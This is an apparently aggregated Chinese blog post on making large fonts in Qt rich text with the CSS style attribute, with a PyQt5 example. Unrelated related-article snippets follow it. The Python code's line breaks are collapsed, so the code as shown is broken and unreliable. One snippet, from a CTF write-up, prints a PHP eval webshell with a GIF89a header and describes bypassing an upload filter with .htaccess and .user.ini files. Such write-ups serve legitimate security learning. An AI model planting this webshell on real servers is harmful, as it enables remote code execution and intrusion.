【Qt】字体更大的富文本

news/2025/1/15 15:16:08/

使用size属性只能生成7个等级的字号,超过7的都视作为7。
当需要更加夸张的字号时则需要使用style属性,除此之外利用该属性可以生成更加逆天丰富的样式,(style属性是CSS样式表。

稍微跑题一下:似乎有安全性的考量,不少Markdown编辑器并不支持超格的HTML标签,例如在Markdown出场频率极高的博客/专栏中没法使用CSS样式,因此在博客中无法创建出一个特别大的字,(只不过一般情况下<font size=7>都已经足够大的了


Python代码:

import sys
from PyQt5.QtWidgets import QApplication,QLabelif __name__ == '__main__':app = QApplication(sys.argv)lb_size=QLabel()lb_style=QLabel()lb_size.setText('''<font size=1>size=1</font><br><font size=2>size=2</font><br><font size=3>size=3</font><br><font size=4>size=4</font><br><font size=5>size=5</font><br><font size=6>size=6</font><br><font size=7>size=7</font><br><font size=8>size=8</font><br><font size=9>size=9</font><br>''')lb_style.setText('''<font style="font-size:70pt">font-size:70pt</font><br><font style="font-size:70px">font-size:70px</font><br>''')#其实style属性可以用于其他标签,例如p标签lb_size.setWindowTitle('<font size=X>')lb_style.setWindowTitle('<font style="font-size:XXpt/px;">')lb_size.show()lb_style.show()sys.exit(app.exec())

运行截图:

请添加图片描述


  • 【W3School】HTML 标签的 size 属性:https://www.w3school.com.cn/tags/att_font_size.asp
  • 【md官方】Markdown 内嵌 HTML 标签:
    https://markdown.com.cn/basic-syntax/htmls.html#html-用法最佳实践
  • 【Qt官网】支持的富文本标签以及CSS样式表属性:https://doc.qt.io/qt-5/richtext-html-subset.html

本文发布于CSDN,未经个人同意不得私自转载:https://blog.csdn.net/weixin_44733774/article/details/133802259


http://www.ppmy.cn/news/1152257.html

相关文章

buuctf week2-web-Upload again!

尝试传修改后缀的普通一句话木马&#xff0c;被检测 尝试传配置文件 .htaccess 和 .user.ini 两个都传成功了 接下来继续传入经过修改的木马 GIF89a <script language"php"> eval($_POST[cmd]); </script> 没有被检测&#xff0c;成功绕过 直接上蚁剑…

K8S:Rancher管理 Kubernetes 集群

文章目录 一.Rancher 简介1.Rancher概念2.Rancher 和 k8s 的区别 二.Rancher 安装及配置1.安装 rancher2.登录 Rancher 平台3.Rancher 管理已存在的 k8s 集群4.Rancher 部署监控系统5.使用 Rancher 仪表盘管理 k8s 集群 三.拓展1.Rancher和kubesphere相比较2.K3S和K8S相比较 一…

centos 磁盘挂载与解挂

磁盘挂载 查看已挂载的磁盘 df -TH查看磁盘分区&#xff0c;对比第一步&#xff0c;看哪些磁盘没有挂载&#xff0c;例如发现/dev/sdb的磁盘没有在第一步中显示 fdisk -l磁盘分区&#xff08;/dev/sdb为上一步骤中没有挂载的磁盘&#xff09; fdisk /dev/sdb执行上一命令后…

大型数据集处理之道:深入了解Hadoop及MapReduce原理

在大数据时代&#xff0c;处理海量数据是一项巨大挑战。而Hadoop作为一个开源的分布式计算框架&#xff0c;以其强大的处理能力和可靠性而备受推崇。本文将介绍Hadoop及MapReduce原理&#xff0c;帮助您全面了解大型数据集处理的核心技术。 Hadoop简介 Hadoop是一个基于Google…

3、在docker 容器中安装tomcat

&#xff11;、在服务器上查找tomcat镜像,查看前5条 docker search tomcat --limit 5​​​​​​​ 2、拉取镜像到本地 拉取官方的tomcat到本地 docker pull tomcat:9.0.34-jdk8 3、查看本地镜像 docker images |grep tomcat 4、启动tomcat 服务 使用默认配置 docker ru…

androidx.appcompat.widget.Toolbar最右边设置控件不能仅靠最右边

androidx.appcompat.widget.Toolbar最右边设置控件不能仅靠最右边 Android Toolbar左、中、右对齐-CSDN博客&#xfeff;&#xfeff;Android Toolbar左、中、右对齐默认的Android Toolbar中添加子元素view是从左到右依次添加。需要注意的是&#xff0c;Android Toolbar为自身的…

小华HC32F448串口使用

目录 1. 串口GPIO配置 2. 串口波特率配置 3. 串口接收超时配置 4. 串口中断注册 5. 串口初始化 6. 串口数据接收处理 7. DMA接收配置和处理 1. 串口GPIO配置 端口号和Pin脚号跟STM32没什么区别。 串口复用功能跟STM32大不一样。 如下图&#xff0c;选自HC32F448 表 2…

使用eBPF加速阿里云服务网格ASM

背景 随着云原生应用架构的快速发展&#xff0c;微服务架构已经成为了构建现代应用的主要方式之一。而在微服务架构中&#xff0c;服务间的通信变得至关重要。为了实现弹性和可伸缩性&#xff0c;许多组织开始采用服务网格技术来管理服务之间的通信。 Istio作为目前最受欢迎的…